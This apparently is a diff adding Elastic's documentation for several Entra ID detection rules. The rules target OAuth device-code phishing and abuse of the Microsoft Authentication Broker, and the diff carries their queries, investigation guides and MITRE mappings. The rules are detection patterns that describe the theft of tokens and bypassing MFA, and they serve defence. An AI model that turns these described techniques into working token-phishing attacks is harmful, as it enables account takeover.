+*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/ +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://www.wiz.io/blog/recent-oauth-attacks-detection-strategies + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Device Code Flow with Concurrent Sign-ins* + + + +*Possible investigation steps* + + +- Review the sign-in logs to assess the context and reputation of the source.ip address. +- Investigate the user account associated with the successful sign-in to determine if the activity aligns with expected behavior or if it appears suspicious. +- Check for any recent changes or anomalies in the user's account settings or permissions that could indicate compromise. +- Review the history of sign-ins for the user to identify any patterns or unusual access times that could suggest unauthorized access. +- Assess the device from which the sign-in was attempted to ensure it is a recognized and authorized device for the user. + + +*Response and remediation* + + +- Immediately revoke the compromised Primary Refresh Tokens (PRTs) to prevent further unauthorized access. This can be done through the Azure portal by navigating to the user's account and invalidating all active sessions. +- Enforce a password reset for the affected user accounts to ensure that any credentials potentially compromised during the attack are no longer valid. +- Implement additional Conditional Access policies that require device compliance checks and restrict access to trusted locations or devices only, to mitigate the risk of future PRT abuse. +- Conduct a thorough review of the affected accounts' recent activity logs to identify any unauthorized actions or data access that may have occurred during the compromise. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or additional compromised accounts. +- Enhance monitoring by configuring alerts for unusual sign-in patterns or device code authentication attempts from unexpected locations or devices, to improve early detection of similar threats. +- Coordinate with the incident response team to perform a post-incident analysis and update the incident response plan with lessons learned from this event. + +==== Setup + + + +*Required Azure Entra Sign-In Logs* + +This rule requires the Azure logs integration be enabled and configured to collect all logs, including sign-in logs from Entra. In Entra, sign-in logs must be enabled and streaming to the Event Hub used for the Azure logs integration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* metadata _id, _version, _index + +| where event.category == "authentication" and data_stream.dataset == "azure.signinlogs" and + azure.signinlogs.properties.original_transfer_method == "deviceCodeFlow" + +// Track events with deviceCode authentication protocol (browser auth) vs polling client +| eval is_device_code_auth = case(azure.signinlogs.properties.authentication_protocol == "deviceCode", 1, 0) + +| stats Esql.count_logon = count(*), + Esql.device_code_auth_count = sum(is_device_code_auth), + Esql.timestamp_values = values(@timestamp), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.user_agent_count_distinct = count_distinct(user_agent.original), + Esql.user_agent_values = values(user_agent.original), + Esql.authentication_protocol_values = values(azure.signinlogs.properties.authentication_protocol), + Esql.azure_signinlogs_properties_client_app_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_auth_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_tenant_id = values(azure.tenant_id), + Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code), + Esql.message_values = values(message), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.source_ip_values = values(source.ip) + by azure.signinlogs.properties.session_id, azure.signinlogs.identity + +// Require: 2+ events, at least one deviceCode auth protocol event, and either 2+ IPs or 2+ user agents +| where Esql.count_logon >= 2 and Esql.device_code_auth_count >= 1 and (Esql.source_ip_count_distinct >= 2 or Esql.user_agent_count_distinct >= 2) +| keep + Esql.*, + azure.signinlogs.properties.session_id, + azure.signinlogs.identity + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker.asciidoc new file mode 100644 index 0000000000..72c932df31 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-21-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker]] +=== Entra ID OAuth Device Code Grant by Microsoft Authentication Broker + +Identifies device code authentication with an Azure broker client for Entra ID. Adversaries abuse Primary Refresh Tokens (PRTs) to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. PRTs are used in Conditional Access policies to enforce device-based controls. Compromising PRTs allows attackers to bypass these policies and gain unauthorized access. This rule detects successful sign-ins using device code authentication with the Entra ID broker client application ID (29d9ed98-a469-4536-ade2-f981bc1d605e). + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/assets/raw/Phishing%20the%20Phishing%20Resistant.pdf +* https://learn.microsoft.com/en-us/troubleshoot/azure/entra/entra-id/governance/verify-first-party-apps-sign-in +* https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/signinlogs + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID OAuth Device Code Grant by Microsoft Authentication Broker* + + +Entra ID Device Code Authentication allows users to authenticate devices using a code, facilitating seamless access to Azure resources. Adversaries exploit this by compromising Primary Refresh Tokens (PRTs) to bypass multi-factor authentication and Conditional Access policies. The detection rule identifies unauthorized access attempts by monitoring successful sign-ins using device code authentication linked to a specific broker client application ID, flagging potential misuse. + + +*Possible investigation steps* + + +- Review the sign-in logs to confirm the use of device code authentication by checking the field azure.signinlogs.properties.authentication_protocol for the value deviceCode. +- Verify the application ID involved in the sign-in attempt by examining azure.signinlogs.properties.conditional_access_audiences.application_id and ensure it matches 29d9ed98-a469-4536-ade2-f981bc1d605e. +- Investigate the user account associated with the successful sign-in to determine if the activity aligns with expected behavior or if it appears suspicious. +- Check for any recent changes or anomalies in the user's account settings or permissions that could indicate compromise. +- Review the history of sign-ins for the user to identify any patterns or unusual access times that could suggest unauthorized access. +- Assess the device from which the sign-in was attempted to ensure it is a recognized and authorized device for the user. + + +*False positive analysis* + + +- Legitimate device code authentication by trusted applications or users may trigger the rule. Review the application ID and user context to confirm legitimacy. +- Frequent access by automated scripts or services using device code authentication can be mistaken for unauthorized access. Identify and document these services, then create exceptions for known application IDs. +- Shared devices in environments with multiple users may cause false positives if device code authentication is used regularly. Implement user-specific logging to differentiate between legitimate and suspicious activities. +- Regular maintenance or updates by IT teams using device code authentication might be flagged. Coordinate with IT to schedule these activities and temporarily adjust monitoring rules if necessary. +- Ensure that any exceptions or exclusions are regularly reviewed and updated to reflect changes in the environment or application usage patterns. + + +*Response and remediation* + + +- Immediately revoke the compromised Primary Refresh Tokens (PRTs) to prevent further unauthorized access. This can be done through the Azure portal by navigating to the user's account and invalidating all active sessions. +- Enforce a password reset for the affected user accounts to ensure that any credentials potentially compromised during the attack are no longer valid. +- Implement additional Conditional Access policies that require device compliance checks and restrict access to trusted locations or devices only, to mitigate the risk of future PRT abuse. +- Conduct a thorough review of the affected accounts' recent activity logs to identify any unauthorized actions or data access that may have occurred during the compromise. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or additional compromised accounts. +- Enhance monitoring by configuring alerts for unusual sign-in patterns or device code authentication attempts from unexpected locations or devices, to improve early detection of similar threats. +- Coordinate with the incident response team to perform a post-incident analysis and update the incident response plan with lessons learned from this event. + +==== Setup + + +This rule optionally requires Azure Sign-In logs from the Azure integration. Ensure that the Azure integration is correctly set up and that the required data is being collected. + + +==== Rule query + + +[source, js] +---------------------------------- + data_stream.dataset:(azure.activitylogs or azure.signinlogs) + and azure.signinlogs.properties.authentication_protocol:deviceCode + and azure.signinlogs.properties.conditional_access_audiences.application_id:29d9ed98-a469-4536-ade2-f981bc1d605e + and event.outcome:success or ( + azure.activitylogs.properties.appId:29d9ed98-a469-4536-ade2-f981bc1d605e + and azure.activitylogs.properties.authentication_protocol:deviceCode) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-device-code-grant-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-device-code-grant-by-unusual-user.asciidoc new file mode 100644 index 0000000000..8643bacbbf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-device-code-grant-by-unusual-user.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-21-entra-id-oauth-device-code-grant-by-unusual-user]] +=== Entra ID OAuth Device Code Grant by Unusual User + +Identifies when a user is observed for the first time authenticating using the device code authentication workflow. This authentication workflow can be abused by attackers to phish users and steal access tokens to impersonate the victim. By its very nature, device code should only be used when logging in to devices without keyboards, where it is difficult to enter emails and passwords. This rule only applies to Entra ID user types and detects new users leveraging this flow. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://aadinternals.com/post/phishing/ +* https://www.blackhillsinfosec.com/dynamic-device-code-phishing/ +* https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/ +* https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-authentication-flows +* https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic +* Matteo Potito Giorgio + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Device Code Grant by Unusual User* + + +This rule detects the first instance of a user authenticating via the DeviceCode authentication protocol within the historical window. The DeviceCode authentication workflow is designed for devices that lack keyboards, such as IoT devices and smart TVs. However, adversaries can abuse this mechanism by phishing users and stealing authentication tokens, leading to unauthorized access. + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.user_principal_name` and `azure.signinlogs.properties.user_id` to identify the user involved. +- Confirm that `azure.signinlogs.properties.authentication_protocol` is set to `deviceCode`. +- Verify the application through `azure.signinlogs.properties.app_display_name` and `azure.signinlogs.properties.app_id` to determine if it is expected. +- Check `source.ip` and compare it with previous authentication logs to determine whether the login originated from a trusted location. +- Analyze `source.geo.city_name`, `source.geo.region_name`, and `source.geo.country_name` to confirm whether the login location is suspicious. +- Review `source.as.organization.name` to check if the IP is associated with a known organization or cloud provider. +- Review `azure.signinlogs.properties.applied_conditional_access_policies` and `azure.signinlogs.properties.conditional_access_status` to determine if MFA or conditional access policies were enforced or bypassed. +- Look at `azure.signinlogs.properties.authentication_details` to confirm how authentication was satisfied. +- Review `azure.signinlogs.properties.device_detail.browser` and `user_agent.original` to determine if the login aligns with expected device behavior. +- Verify `azure.signinlogs.properties.client_app_used` to confirm whether the login was performed using a known client. +- Check if the user recently reported phishing attempts or suspicious emails. +- Look for recent changes in the user’s account settings, including password resets, role changes, or delegation of access. +- Review if other users in the environment have triggered similar DeviceCode authentication events within the same timeframe. + + +*False positive analysis* + + +- If the user is setting up a new device (e.g., a smart TV or kiosk), this authentication may be expected. +- Some legitimate applications or scripts may leverage the DeviceCode authentication protocol for non-interactive logins. +- In cases where shared workstations or conference room devices are in use, legitimate users may trigger alerts. +- If the user is traveling or accessing from a new location, confirm legitimacy before taking action. + + +*Response and remediation* + + +- Immediately revoke any access tokens associated with this authentication event. +- Review additional authentication logs, application access, and recent permission changes for signs of compromise. +- Reset the affected user’s credentials and enforce stricter MFA policies for sensitive accounts. +- Restrict DeviceCode authentication to only required applications. +- Enable additional logging and anomaly detection for DeviceCode logins. +- If phishing is suspected, notify the affected user and provide security awareness training on how to recognize and report phishing attempts. +- Limit DeviceCode authentication to approved users and applications via conditional access policies. + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +This rule requires the Azure integration with Microsoft Entra ID Sign-In logs to be enabled and configured to collect audit and activity logs via Azure Event Hub. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:(azure.activitylogs or azure.signinlogs) + and ( + azure.signinlogs.properties.authentication_protocol:deviceCode or + azure.signinlogs.properties.original_transfer_method:deviceCodeFlow or + azure.activitylogs.properties.authentication_protocol:deviceCode + ) + and event.outcome:success + and azure.signinlogs.properties.user_type:* + and not azure.signinlogs.properties.app_id:( + "29d9ed98-a469-4536-ade2-f981bc1d605e" or + "d5a56ea4-7369-46b8-a538-c370805301bf" or + "80faf920-1908-4b52-b5ef-a8e7bedfc67a" or + "97877f11-0fc6-4aee-b1ff-febb0519dd00" or + "245e1dee-74ef-4257-a8c8-8208296e1dfd" or + "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" or + "74bcdadc-2fdc-4bb3-8459-76d06952a0e9" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "a850aaae-d5a5-4e82-877c-ce54ff916282" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs.asciidoc new file mode 100644 index 0000000000..beaae0d5e3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs.asciidoc @@ -0,0 +1,255 @@ +[[prebuilt-rule-8-19-21-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs]] +=== Entra ID OAuth Flow by Microsoft Authentication Broker to Device Registration Service (DRS) + +Identifies separate OAuth authorization flows in Microsoft Entra ID where the same user principal and session ID are observed across multiple IP addresses within a 5-minute window. These flows involve the Microsoft Authentication Broker (MAB) as the client application and the Device Registration Service (DRS) as the target resource. This pattern is highly indicative of OAuth phishing activity, where an adversary crafts a legitimate Microsoft login URL to trick a user into completing authentication and sharing the resulting authorization code, which is then exchanged for an access and refresh token by the attacker. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 60m + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Flow by Microsoft Authentication Broker to Device Registration Service (DRS)* + + +This rule identifies potential OAuth phishing behavior in Microsoft Entra ID where two OAuth authorization flows are observed in quick succession, sharing the same user principal and session ID but originating from different IP addresses. The client application is the Microsoft Authentication Broker, and the target resource is the Device Registration Service (DRS). This pattern is indicative of adversaries attempting to phish targets for OAuth sessions by tricking users into authenticating through a crafted URL, which then allows the attacker to obtain an authorization code and exchange it for access and refresh tokens. + + +*Possible Investigation Steps:* + + +- `target`: The user principal name targeted by the authentication broker. Investigate whether this user has recently registered a device, signed in from new IPs, or had password resets or MFA changes. +- `session_id`: Used to correlate all events in the OAuth flow. All sign-ins in the alert share the same session, suggesting shared or hijacked state. +- `unique_token_id`: Lists tokens generated in the flow. If multiple IDs exist in the same session, this indicates token issuance from different locations. +- `source_ip`, `city_name`, `country_name`, `region_name`: Review the IPs and geolocations involved. A mismatch in geographic origin within minutes can signal adversary involvement. +- `user_agent`: Conflicting user agents (e.g., `python-requests` and `Chrome`) suggest one leg of the session was scripted or automated. +- `os`: If multiple operating systems are observed in the same short session (e.g., macOS and Windows), this may suggest activity from different environments. +- `incoming_token_type`: Look for values like `"none"` or `"refreshToken"` that can indicate abnormal or re-authenticated activity. +- `token_session_status`: A value of `"unbound"` means the issued token is not tied to a device or CAE session, making it reusable from another IP. +- `conditional_access_status`: If this is `"notApplied"`, it may indicate that expected access policies were not enforced. +- `auth_count`: Number of events in the session. More than one indicates the session was reused within the time window. +- `target_time_window`: Use this to pivot into raw sign-in logs to review the exact sequence and timing of the activity. +- Search `azure.auditlogs` for any device join or registration activity around the `target_time_window`. +- Review `azure.identityprotection` logs for anonymized IPs, impossible travel, or token replay alerts. +- Search for other activity from the same IPs across all users to identify horizontal movement. + + +*False Positive Analysis* + + +- A legitimate device join from a user switching networks (e.g., mobile hotspot to Wi-Fi) could explain multi-IP usage. +- Some identity management agents or EDR tools may use MAB for background device registration flows. +- Developers or IT administrators may access DRS across environments when testing. + + +*Response and Remediation* + + +- If confirmed unauthorized, revoke all refresh tokens for the user and disable any suspicious registered devices. +- Notify the user and verify if the authentication or device join was expected. +- Review Conditional Access policies for the Microsoft Authentication Broker (`29d9ed98-a469-4536-ade2-f981bc1d605e`) to ensure enforcement of MFA and device trust. +- Consider restricting token-based reauthentication from anonymized infrastructure or unusual user agents. +- Continue monitoring for follow-on activity, such as privilege escalation, token misuse, or lateral movement. + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +This rule requires the Microsoft Entra ID Sign-In Logs integration be enabled and configured to collect sign-in logs. In Entra ID, sign-in logs must be enabled and streaming to the Event Hub used for the Azure integration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* metadata _id, _version, _index +| where + data_stream.dataset == "azure.signinlogs" and + event.outcome == "success" and + azure.signinlogs.properties.user_type == "Member" and + azure.signinlogs.identity is not null and + azure.signinlogs.properties.user_principal_name is not null and + source.address is not null and + azure.signinlogs.properties.app_id == "29d9ed98-a469-4536-ade2-f981bc1d605e" and // MAB + azure.signinlogs.properties.resource_id == "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" // DRS + +| eval + Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp), + Esql.azure_signinlogs_properties_session_id = azure.signinlogs.properties.session_id, + Esql.is_browser_case = case( + to_lower(azure.signinlogs.properties.device_detail.browser) rlike "(chrome|firefox|edge|safari).*", 1, 0 + ) + +| stats + Esql_priv.azure_signinlogs_properties_user_display_name_values = values(azure.signinlogs.properties.user_display_name), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id), + Esql.azure_signinlogs_properties_unique_token_identifier_values = values(azure.signinlogs.properties.unique_token_identifier), + + Esql.source_geo_city_name_values = values(source.geo.city_name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_region_name_values = values(source.geo.region_name), + Esql.source_address_values = values(source.address), + Esql.source_address_count_distinct = count_distinct(source.address), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + + Esql.azure_signinlogs_properties_authentication_protocol_values = values(azure.signinlogs.properties.authentication_protocol), + Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_is_interactive_values = values(azure.signinlogs.properties.is_interactive), + + Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values = values(azure.signinlogs.properties.token_protection_status_details.sign_in_session_status), + Esql.azure_signinlogs_properties_session_id_count_distinct = count_distinct(azure.signinlogs.properties.session_id), + Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + + Esql.azure_signinlogs_properties_app_owner_tenant_id_values = values(azure.signinlogs.properties.app_owner_tenant_id), + Esql.azure_signinlogs_properties_resource_owner_tenant_id_values = values(azure.signinlogs.properties.resource_owner_tenant_id), + + Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status), + Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state), + Esql.azure_signinlogs_properties_risk_level_aggregated_values = values(azure.signinlogs.properties.risk_level_aggregated), + + Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser), + Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system), + Esql.user_agent_original_values = values(user_agent.original), + Esql.is_browser_case_max = max(Esql.is_browser_case), + + Esql.event_count = count(*) + by + Esql.time_window_date_trunc, + azure.signinlogs.properties.user_principal_name, + azure.signinlogs.properties.session_id + +| keep + Esql.time_window_date_trunc, + Esql_priv.azure_signinlogs_properties_user_display_name_values, + Esql_priv.azure_signinlogs_properties_user_principal_name_values, + Esql.azure_signinlogs_properties_session_id_values, + Esql.azure_signinlogs_properties_unique_token_identifier_values, + Esql.source_geo_city_name_values, + Esql.source_geo_country_name_values, + Esql.source_geo_region_name_values, + Esql.source_address_values, + Esql.source_address_count_distinct, + Esql.source_as_organization_name_values, + Esql.azure_signinlogs_properties_authentication_protocol_values, + Esql.azure_signinlogs_properties_authentication_requirement_values, + Esql.azure_signinlogs_properties_is_interactive_values, + Esql.azure_signinlogs_properties_incoming_token_type_values, + Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values, + Esql.azure_signinlogs_properties_session_id_count_distinct, + Esql.azure_signinlogs_properties_app_display_name_values, + Esql.azure_signinlogs_properties_app_id_values, + Esql.azure_signinlogs_properties_resource_id_values, + Esql.azure_signinlogs_properties_resource_display_name_values, + Esql.azure_signinlogs_properties_app_owner_tenant_id_values, + Esql.azure_signinlogs_properties_resource_owner_tenant_id_values, + Esql.azure_signinlogs_properties_conditional_access_status_values, + Esql.azure_signinlogs_properties_risk_state_values, + Esql.azure_signinlogs_properties_risk_level_aggregated_values, + Esql.azure_signinlogs_properties_device_detail_browser_values, + Esql.azure_signinlogs_properties_device_detail_operating_system_values, + Esql.user_agent_original_values, + Esql.is_browser_case_max, + Esql.event_count + +| where + Esql.source_address_count_distinct >= 2 and + Esql.azure_signinlogs_properties_session_id_count_distinct == 1 and + Esql.is_browser_case_max >= 1 and + Esql.event_count >= 2 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-phishing-via-first-party-microsoft-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-phishing-via-first-party-microsoft-application.asciidoc new file mode 100644 index 0000000000..fc599fd1a6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-oauth-phishing-via-first-party-microsoft-application.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-21-entra-id-oauth-phishing-via-first-party-microsoft-application]] +=== Entra ID OAuth Phishing via First-Party Microsoft Application + +Detects potentially suspicious OAuth authorization activity in Microsoft Entra ID where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family 